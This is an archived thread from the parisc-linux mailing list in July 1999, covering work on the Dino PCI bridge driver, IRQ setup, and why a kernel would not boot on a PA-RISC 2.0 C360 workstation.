Original-X-From: adevries@thepuffingroup.com  Wed Jul  7 00:13:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA08469
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 00:13:08 -0600
Original-Received: (qmail 5538 invoked by uid 15267); 7 Jul 1999 06:13:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5531 invoked from network); 7 Jul 1999 06:13:24 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 06:13:24 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA19606
	for <parisc-linux@thepuffingroup.com>; Wed, 7 Jul 1999 02:23:47 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9683


I fixed up dino.c a little to setup it's HPA properly.  Understanding
the docs took a bit of time, so this is a personal victory.

Now the kernel boots up and prints:

Dino device driver, by Alan Cox and Alex deVries
dino0: version 3.1 at 0xFF000000, IRQ 0, 1.

Now we just need to configure the PCI bus properly, connect the
interrupts, and we should be close to being able to talk to a network.
The A-classes have tulips hanging off the PCI bus, so that should be
pretty simple.

There's some small changes so that the GSC irqs are handled by a pool
handler.

People with 712s differ at this point, you'll have to muck with Lasi's
built in ethernet port, which will be slightly difficult because you may
interrupt the serial console in doing so.  If you use the graphics, you
should be okay.

There's some initial code to handle multiple dinos, and it may in fact
work, but I really haven't tried (and can't until I have one of those
GSC ethernet cards that Thomas and Philipp have).

What other HPs have Dino onboard?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] vmlinux in C360
Date: Wed, 7 Jul 1999 13:05:35 +0300 (EETDST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com>
References: <3782F26C.78876DDD@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619686 12783 80.91.229.3 (22 Nov 2014 01:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martikka@stybba.ntc.nokia.com  Wed Jul  7 04:05:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA09272
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 04:05:17 -0600
Original-Received: (qmail 25455 invoked by uid 15267); 7 Jul 1999 10:05:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25444 invoked from network); 7 Jul 1999 10:05:47 -0000
Original-Received: from ns10.nokia.com (131.228.6.229)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 10:05:47 -0000
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21]) by ns10.nokia.com (8.8.8/8.6.9) with ESMTP id NAA23776 for <parisc-linux@thepuffingroup.com>; Wed, 7 Jul 1999 13:05:36 +0300 (EET DST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id NAA00484
	for <parisc-linux@thepuffingroup.com>; Wed, 7 Jul 1999 13:05:35 +0300 (EET DST)
In-Reply-To: <3782F26C.78876DDD@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9684

Hi!

I have problems with Linux on C360. Here is what I tried:

1) Get latest kernel src from CVS + egcs from binaries/depot.
2) Compilation works fine (done on hpux11/D-series):
	make config; make dep;make clean ; make vmlinux ; make Image

3) copy vmlinux to /stand/vmlinux in C360
4) reboot with IPL
5) hpux /stand/vmlinux

	boot:(0.0......)/stand/vmlinux

This is the last message. Here it hangs. On frontpanel the leds 1-3 are on
(no 4 is off).

Should it work better in C-series? or is C-series "unsupported"?

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Wed, 7 Jul 1999 12:12:51 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <19990707121251.B386@mencheca.ch.genedata.com>
References: <3782F26C.78876DDD@thepuffingroup.com> <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619686 12787 80.91.229.3 (22 Nov 2014 01:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Jul  7 04:12:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA09436
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 04:12:29 -0600
Original-Received: (qmail 26072 invoked by uid 15267); 7 Jul 1999 10:13:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26064 invoked from network); 7 Jul 1999 10:12:59 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 10:12:59 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id MAA31268;
	Wed, 7 Jul 1999 12:12:52 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id MAA3555353;
	Wed, 7 Jul 1999 12:12:51 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m111oh9-00025hC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for martikka@stybba.ntc.nokia.com; Wed, 7 Jul 1999 12:12:51 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com>; from Hannu Martikka on Wed, Jul 07, 1999 at 01:05:35PM +0300
Xref: news.gmane.org gmane.linux.ports.parisc:9685

On Wed, Jul 07, 1999 at 01:05:35PM +0300, Hannu Martikka wrote:
> Hi!
> 
> I have problems with Linux on C360. Here is what I tried:

According to http://www.hp.com/unixwork/hpc360/page6.htm, the C360
has a PA-8500 CPU which is PA-RISC version 2.0.  This port is
currently only targetting the PA-RISC 1.1 family of processors since
this is where most of the demand is.  In time, I'm sure we will
support the PA-RISC 2.0 series of processors, but we don't right now.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Wed, 07 Jul 1999 10:56:30 -0400
Organization: The Puffin Group
Lines: 27
Approved: news@gmane.org
Message-ID: <37836A9E.5224AB6E@thepuffingroup.com>
References: <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619686 12790 80.91.229.3 (22 Nov 2014 01:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: adevries@thepuffingroup.com  Wed Jul  7 08:45:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA09990
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 08:45:53 -0600
Original-Received: (qmail 29412 invoked by uid 15267); 7 Jul 1999 14:46:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29405 invoked from network); 7 Jul 1999 14:46:24 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 14:46:24 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id KAA20210;
	Wed, 7 Jul 1999 10:56:35 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9686

Hannu Martikka wrote:
> I have problems with Linux on C360. Here is what I tried:
> 
...
> 
> This is the last message. Here it hangs. On frontpanel the leds 1-3 are on
> (no 4 is off).
> 
> Should it work better in C-series? or is C-series "unsupported"?

Matt is likely right, it is something to do with that being a 2.0 CPU.

I'm a bit surprised that you never see anything, though.  It could be
that our PDC calls or CPU setup code is CPU specific, but I'd thought it
was pretty generic.

Just to eliminate the possibility of it being a build time bug, could
you try booting that c360 with a precompiled  kernel at
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/ ?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Wed, 7 Jul 1999 17:23:38 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <19990707172338.C29058@suse.de>
References: <3782F26C.78876DDD@thepuffingroup.com> <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com> <19990707121251.B386@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619686 12791 80.91.229.3 (22 Nov 2014 01:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:06 +0000 (UTC)
Cc: Hannu Martikka <martikka@stybba.ntc.nokia.com>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@suse.de  Wed Jul  7 09:23:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA10192
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 09:23:16 -0600
Original-Received: (qmail 3596 invoked by uid 15267); 7 Jul 1999 15:23:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3589 invoked from network); 7 Jul 1999 15:23:46 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 15:23:46 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id F2B0D32CE3; Wed, 07 Jul 1999 17:23:39 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 5A5979410; Wed,  7 Jul 1999 17:23:39 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 562E07F8B; Wed,  7 Jul 1999 17:23:38 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990707121251.B386@mencheca.ch.genedata.com>; from Matthew Wilcox on Wed, Jul 07, 1999 at 12:12:51PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9687

> > I have problems with Linux on C360. Here is what I tried:
> 
> According to http://www.hp.com/unixwork/hpc360/page6.htm, the C360
> has a PA-8500 CPU which is PA-RISC version 2.0.  This port is
> currently only targetting the PA-RISC 1.1 family of processors since
> this is where most of the demand is.  In time, I'm sure we will
> support the PA-RISC 2.0 series of processors, but we don't right now.

Still, I _think_ we should be able to run the kernel on PA2.0 in narrow mode.

As soon as I can get my hands on a PA2.0 box, I can test that.


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Wed, 7 Jul 1999 18:05:26 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <19990707180526.F386@mencheca.ch.genedata.com>
References: <3782F26C.78876DDD@thepuffingroup.com> <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com> <19990707121251.B386@mencheca.ch.genedata.com> <19990707172338.C29058@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619687 12794 80.91.229.3 (22 Nov 2014 01:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:07 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        Hannu Martikka <martikka@stybba.ntc.nokia.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Jul  7 10:05:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA10522
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 10:05:05 -0600
Original-Received: (qmail 11662 invoked by uid 15267); 7 Jul 1999 16:05:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11652 invoked from network); 7 Jul 1999 16:05:35 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 16:05:35 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id SAA32318;
	Wed, 7 Jul 1999 18:05:27 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id SAA3533219;
	Wed, 7 Jul 1999 18:05:26 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m111uCM-00025hC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Wed, 7 Jul 1999 18:05:26 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990707172338.C29058@suse.de>; from Philipp Rumpf on Wed, Jul 07, 1999 at 05:23:38PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9688

On Wed, Jul 07, 1999 at 05:23:38PM +0200, Philipp Rumpf wrote:
> > > I have problems with Linux on C360. Here is what I tried:
> > 
> > According to http://www.hp.com/unixwork/hpc360/page6.htm, the C360
> > has a PA-8500 CPU which is PA-RISC version 2.0.  This port is
> > currently only targetting the PA-RISC 1.1 family of processors since
> > this is where most of the demand is.  In time, I'm sure we will
> > support the PA-RISC 2.0 series of processors, but we don't right now.
> 
> Still, I _think_ we should be able to run the kernel on PA2.0 in narrow mode.
> 
> As soon as I can get my hands on a PA2.0 box, I can test that.

I think you're right for the moment.  The TLB instructions are 
different between the two variants though; maybe there's some other
stuff?

I guess the bootloader needs to force the W bit to 0?  I note that on
an interruption, the W bit is set to the value of the default width
bit, but how to set the default width bit is implementation defined. 
Anyone care to hint at how to set the default width bit too?

-- 
"A `puffin shuttle' also runs in the summer when the cute, meaty birds
are abundant on nearby cliffs."

Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Whee! Dino is recognized.
Date: Wed, 07 Jul 1999 10:33:11 -0700
Lines: 80
Approved: news@gmane.org
Message-ID: <199907071733.KAA10387@milano.cup.hp.com>
References: <3782F26C.78876DDD@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619687 12797 80.91.229.3 (22 Nov 2014 01:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Wed Jul  7 11:34:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA10858
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 11:34:15 -0600
Original-Received: (qmail 28984 invoked by uid 15267); 7 Jul 1999 17:34:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28974 invoked from network); 7 Jul 1999 17:34:45 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 17:34:45 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA01257;
	Wed, 7 Jul 1999 11:34:30 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA10387; Wed, 7 Jul 1999 10:33:12 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 07 Jul 1999 02:23:40 PDT."
             <3782F26C.78876DDD@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9689

Alex deVries wrote:
> 
> I fixed up dino.c a little to setup it's HPA properly.  Understanding
> the docs took a bit of time, so this is a personal victory.

Congrats!
This is a good step forward.

A few more notes below.

> 
> Now the kernel boots up and prints:
> 
> Dino device driver, by Alan Cox and Alex deVries
> dino0: version 3.1 at 0xFF000000, IRQ 0, 1.

Did you plan on using both IAR0 and IAR1?

You don't need to. It doesn't help on single processor systems
and only adds complexity in the IRQ management.

> Now we just need to configure the PCI bus properly, connect the
> interrupts, and we should be close to being able to talk to a network.
> The A-classes have tulips hanging off the PCI bus, so that should be
> pretty simple.

The PCI bus walk and IRQ management is pretty straight forward.
At least if one has done it once before. :^)

Don't forget about U2/Uturn DMA services on C/J-class.
It can probably be ignored for now.
They help performance if the OS can determine DMA is coherent
with processor caches. Then the PCI device drivers don't need
to flush processor caches before/after DMA operations. It also
allows 32-bit PCI devices to access more than 4GB of mem directly.

> 
> There's some small changes so that the GSC irqs are handled by a pool
> handler.
> 
> People with 712s differ at this point, you'll have to muck with Lasi's
> built in ethernet port, which will be slightly difficult because you may
> interrupt the serial console in doing so.  If you use the graphics, you
> should be okay.
> 
> There's some initial code to handle multiple dinos, and it may in fact
> work, but I really haven't tried (and can't until I have one of those
> GSC ethernet cards that Thomas and Philipp have).

Notes:
1) The "card-mode" Dino's report different IODC data.
   See description of IODC_DATA_0 register in the ERS.
   The GSC 100BT cards using DEC 100BT LAN chip are "card-mode".

2) Firmware will NOT touch card-mode Dino devices. ie Dino and PCI devices
   below it must be programmed by the OS from scratch. Due to all the
   platform variations where card-mode Dino are supported, HP-UX does
   NOT map PCI MMIO space into processor I/O address space.

2) On J-class, the second GSCtoPCI IODC data is reported incorrectly
   by firmware. I forgot what it reports but recall we had to kludge
   the test in HP-UX.

> What other HPs have Dino onboard?

All A, B, C, and J class workstations.
And the "industrial" rack mount 743 family.
C and J have two built-in (aka Bridge-Mode) GSCtoPCI bus converters.
J-class is "SMP" (2 processors).

hope this helps,
grant

> 
> - Alex

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Whee! Dino is recognized.
Date: Wed, 07 Jul 1999 14:07:47 -0400
Organization: The Puffin Group
Lines: 82
Approved: news@gmane.org
Message-ID: <37839773.AE65FE8E@thepuffingroup.com>
References: <199907071733.KAA10387@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619687 12800 80.91.229.3 (22 Nov 2014 01:28:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Wed Jul  7 11:59:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA11018
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 11:59:54 -0600
Original-Received: (qmail 1540 invoked by uid 15267); 7 Jul 1999 18:00:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1533 invoked from network); 7 Jul 1999 18:00:23 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 18:00:23 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id OAA20353;
	Wed, 7 Jul 1999 14:07:51 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9690

Grant Grundler wrote:
> Alex deVries wrote:

> > Dino device driver, by Alan Cox and Alex deVries
> > dino0: version 3.1 at 0xFF000000, IRQ 0, 1.
> 
> Did you plan on using both IAR0 and IAR1?
> 
> You don't need to. It doesn't help on single processor systems
> and only adds complexity in the IRQ management.
>

Oh, that wasn't quite clear in the dino docs.  I'll just ignore IAR1
then.

> 
> The PCI bus walk and IRQ management is pretty straight forward.
> At least if one has done it once before. :^)

The kernel already has generic PCI bus walking code, so this shouldn't
be too difficult
to sort out.  Philipp's doing very well with the interruption stuff, we
just need interrupts to work to be able to link them in.

But we can walk the bus without interrupts, so that's what I'm doing
next.

> Don't forget about U2/Uturn DMA services on C/J-class.
> It can probably be ignored for now.

It will be ignored for now because:
- I don't have a C or J class
- I've never heard of U2/Uturn before :)

> >
> > There's some initial code to handle multiple dinos, and it may in fact
> > work, but I really haven't tried (and can't until I have one of those
> > GSC ethernet cards that Thomas and Philipp have).
> 
> Notes:
> 1) The "card-mode" Dino's report different IODC data.
>    See description of IODC_DATA_0 register in the ERS.
>    The GSC 100BT cards using DEC 100BT LAN chip are "card-mode".

Yeah, I have detection for card mode. 

> 
> 2) Firmware will NOT touch card-mode Dino devices. ie Dino and PCI devices
>    below it must be programmed by the OS from scratch. Due to all the
>    platform variations where card-mode Dino are supported, HP-UX does
>    NOT map PCI MMIO space into processor I/O address space.

That makes sense, and once you know if it's a card mode Dino, then you
can decide if you need to setup the entire device from scratch.

Exactly what setup is required here?  I know on the second page into
Chapter 5 of the Dino docs they describe an example setup.

> 2) On J-class, the second GSCtoPCI IODC data is reported incorrectly
>    by firmware. I forgot what it reports but recall we had to kludge
>    the test in HP-UX.
> > What other HPs have Dino onboard?
> All A, B, C, and J class workstations.
> And the "industrial" rack mount 743 family.
> C and J have two built-in (aka Bridge-Mode) GSCtoPCI bus converters.
> J-class is "SMP" (2 processors).

Ah, excellent.

What HPs have Lasi?

> hope this helps,

It definitely does... thanks!

- alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Whee! Dino is recognized.
Date: Wed, 7 Jul 1999 19:07:41 +0100 (BST)
Lines: 16
Approved: news@gmane.org
Message-ID: <E111w6h-0006sg-00@the-village.bc.nu>
References: <37839773.AE65FE8E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619688 12806 80.91.229.3 (22 Nov 2014 01:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:08 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Jul  7 12:09:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA11291
	for <parisc-linux@puffin.external.hp.com>; Wed, 7 Jul 1999 12:09:10 -0600
Original-Received: (qmail 3369 invoked by uid 15267); 7 Jul 1999 18:09:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3348 invoked from network); 7 Jul 1999 18:09:39 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 7 Jul 1999 18:09:39 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 111w6h-0006sg-00; Wed, 7 Jul 1999 19:07:43 +0100
In-Reply-To: <37839773.AE65FE8E@thepuffingroup.com> from "Alex deVries" at Jul 7, 99 02:07:47 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9691

> > You don't need to. It doesn't help on single processor systems
> > and only adds complexity in the IRQ management.
> >
> 
> Oh, that wasn't quite clear in the dino docs.  I'll just ignore IAR1
> then.

Right now the code treats the IRQ off IAR0 and IAR1 as the same - so you 
register an IRQ and SMP folks can load balance it later.

> The kernel already has generic PCI bus walking code, so this shouldn't
> be too difficult

It assumes the bus has been configured. If not then Russ King has a set
of nastiness for configuring the PCI bus on his ebsa285 we can half inch


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux in C360
Date: Thu, 08 Jul 1999 00:27:12 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <3783D440.A546BAAC@ruhr-uni-bochum.de>
References: <Pine.HPX.4.05.9907071255560.20278-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
